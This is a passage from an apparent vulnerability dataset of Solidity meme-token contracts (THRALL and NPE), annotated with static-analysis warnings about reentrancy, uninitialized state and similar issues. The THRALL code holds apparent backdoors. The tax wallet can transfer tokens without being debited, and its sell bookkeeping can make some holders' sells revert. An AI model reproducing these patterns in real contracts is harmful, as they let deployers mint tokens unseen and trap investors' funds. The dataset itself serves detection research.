_reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 19abcdf): THRALL._reduceSellTaxAt should be constant \n\t// Recommendation for 19abcdf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 11d24d9): THRALL._preventSwapBefore should be constant \n\t// Recommendation for 11d24d9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 21;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"THRALL\";\n\n string private constant _symbol = unicode\"Thrall\";\n\n uint256 public _maxTxAmount = 6310350000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 6310350000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4dcf8d1): THRALL._taxSwapThreshold should be constant \n\t// Recommendation for 4dcf8d1: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 15a0495): THRALL._maxTaxSwap should be constant \n\t// Recommendation for 15a0495: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ca8639c): THRALL._taxWallet should be immutable \n\t// Recommendation for ca8639c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n IUniswapV2Router02 private constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public uniswapPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e5bf1e): THRALL.basicUnitExclude should be constant \n\t// Recommendation for 4e5bf1e: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0b89399): THRALL.basicUnitExclude is never initialized. It is used in THRALL._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 0b89399: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private basicUnitExclude;\n\n struct BasicRevUnit {\n uint256 basicUnitStd;\n uint256 unitStake;\n uint256 isBasicUnit;\n }\n\n uint256 private maxBasicUnit;\n\n mapping(address => BasicRevUnit) private basicRevUnit;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x0CE045d35f003995b5eCCFa41e54cfA9313F2465);\n\n _balances[_msgSender()] = _tTotal;\n\n isExcludedFromFee[address(this)] = true;\n\n isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1be4c3a): THRALL.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1be4c3a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f26d513): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f26d513: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2b7ae10): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2b7ae10: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f26d513\n\t\t// reentrancy-benign | ID: 2b7ae10\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f26d513\n\t\t// reentrancy-benign | ID: 2b7ae10\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dcca24b): THRALL._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dcca24b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2b7ae10\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f26d513\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3cc0821): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3cc0821: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 20892bb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 20892bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d791e13): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d791e13: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n bool isBuy = from == uniswapPair;\n\n bool isSell = to == uniswapPair;\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n isBuy &&\n to != address(uniswapV2Router) &&\n !isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (isSell && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n isSell &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 3cc0821\n\t\t\t\t// reentrancy-benign | ID: 20892bb\n\t\t\t\t// reentrancy-eth | ID: d791e13\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3cc0821\n\t\t\t\t\t// reentrancy-eth | ID: d791e13\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (isExcludedFromFee[from] || isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 20892bb\n maxBasicUnit = block.number;\n }\n\n if (!isExcludedFromFee[from] && !isExcludedFromFee[to]) {\n if (!isSell) {\n BasicRevUnit storage basicUnit = basicRevUnit[to];\n\n if (isBuy) {\n if (basicUnit.basicUnitStd == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 20892bb\n basicUnit.basicUnitStd = _buyCount <= _preventSwapBefore\n ? type(uint).max\n : block.number;\n }\n } else {\n BasicRevUnit storage basicUnitState = basicRevUnit[from];\n\n if (\n basicUnit.basicUnitStd == 0 ||\n basicUnitState.basicUnitStd < basicUnit.basicUnitStd\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 20892bb\n basicUnit.basicUnitStd = basicUnitState.basicUnitStd;\n }\n }\n } else {\n BasicRevUnit storage basicUnitState = basicRevUnit[from];\n\n\t\t\t\t// reentrancy-benign | ID: 20892bb\n basicUnitState.unitStake = basicUnitState.basicUnitStd.sub(\n maxBasicUnit\n );\n\n\t\t\t\t// reentrancy-benign | ID: 20892bb\n basicUnitState.isBasicUnit = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 3cc0821\n\t\t// reentrancy-eth | ID: d791e13\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0b89399): THRALL.basicUnitExclude is never initialized. It is used in THRALL._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 0b89399: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : basicUnitExclude.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d791e13\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3cc0821\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: d791e13\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: d791e13\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 3cc0821\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3cc0821\n\t\t// reentrancy-events | ID: f26d513\n\t\t// reentrancy-benign | ID: 20892bb\n\t\t// reentrancy-benign | ID: 2b7ae10\n\t\t// reentrancy-eth | ID: d791e13\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function clearETH() external {\n require(_msgSender() == _taxWallet);\n\n _taxWallet.transfer(address(this).balance);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3cc0821\n\t\t// reentrancy-events | ID: f26d513\n\t\t// reentrancy-eth | ID: d791e13\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7153755): THRALL.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7153755: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b691d6a): THRALL.enableTrading() ignores return value by IERC20(uniswapPair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b691d6a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5d0bbd3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5d0bbd3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5d0bbd3\n uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 7153755\n\t\t// reentrancy-eth | ID: 5d0bbd3\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: b691d6a\n\t\t// reentrancy-eth | ID: 5d0bbd3\n IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 5d0bbd3\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10649.sol",
"size_bytes": 22633,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract NPE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExempt;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7c3a7c0): NPE._bots is never initialized. It is used in NPE._transfer(address,address,uint256) NPE.closeBot(address)\n\t// Recommendation for 7c3a7c0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: fabb904): NPE._npeeee should be constant \n\t// Recommendation for fabb904: Add the 'constant' attribute to state variables that never change.\n address private _npeeee = 0x9ba3BD59560C85486513D17349B46d04f7102EBf;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4204140): NPE._initialBuyTax should be constant \n\t// Recommendation for 4204140: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 18d8af5): NPE._initialSellTax should be constant \n\t// Recommendation for 18d8af5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9ea2b8): NPE._finalBuyTax should be constant \n\t// Recommendation for e9ea2b8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 469b1ef): NPE._finalSellTax should be constant \n\t// Recommendation for 469b1ef: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 191981d): NPE._reduceBuyAt should be constant \n\t// Recommendation for 191981d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: e6941f3): NPE._reduceSellAt should be constant \n\t// Recommendation for e6941f3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 057465d): NPE._preventCount should be constant \n\t// Recommendation for 057465d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 5;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Non-Playable Elon\";\n\n string private constant _symbol = unicode\"NPE\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe1aab5): NPE._minTaxSwap should be constant \n\t// Recommendation for fe1aab5: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0cd6852): NPE._maxTaxSwap should be constant \n\t// Recommendation for 0cd6852: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExempt[owner()] = true;\n\n _isExempt[address(this)] = true;\n\n _isExempt[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f78bef1): NPE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f78bef1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 892fa4b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 892fa4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6a8ef2f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6a8ef2f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 892fa4b\n\t\t// reentrancy-benign | ID: 6a8ef2f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 892fa4b\n\t\t// reentrancy-benign | ID: 6a8ef2f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ba8928b): NPE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ba8928b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6a8ef2f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 892fa4b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3a34787): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3a34787: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 9292a3a): NPE._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 9292a3a: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7c3a7c0): NPE._bots is never initialized. It is used in NPE._transfer(address,address,uint256) NPE.closeBot(address)\n\t// Recommendation for 7c3a7c0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5682de2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5682de2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3f38c6b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3f38c6b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _ttFee = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _ttFee = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExempt[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _ttFee = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 9292a3a\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3a34787\n\t\t\t\t\t// reentrancy-eth | ID: 5682de2\n\t\t\t\t\t// reentrancy-eth | ID: 3f38c6b\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 3a34787\n\t\t\t\t\t\t// reentrancy-eth | ID: 5682de2\n\t\t\t\t\t\t// reentrancy-eth | ID: 3f38c6b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 3a34787\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 5682de2\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 3f38c6b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 5682de2\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 3a34787\n\t\t\t\t\t// reentrancy-eth | ID: 3f38c6b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 3a34787\n\t\t\t\t\t\t// reentrancy-eth | ID: 3f38c6b\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_ttFee > 0) {\n\t\t\t// reentrancy-eth | ID: 3f38c6b\n _balances[address(this)] = _balances[address(this)].add(_ttFee);\n\n\t\t\t// reentrancy-events | ID: 3a34787\n emit Transfer(from, address(this), _ttFee);\n }\n\n\t\t// reentrancy-eth | ID: 3f38c6b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3f38c6b\n _balances[to] = _balances[to].add(amount.sub(_ttFee));\n\n\t\t// reentrancy-events | ID: 3a34787\n emit Transfer(from, to, amount.sub(_ttFee));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3a34787\n\t\t// reentrancy-events | ID: 892fa4b\n\t\t// reentrancy-benign | ID: 6a8ef2f\n\t\t// reentrancy-eth | ID: 5682de2\n\t\t// reentrancy-eth | ID: 3f38c6b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n 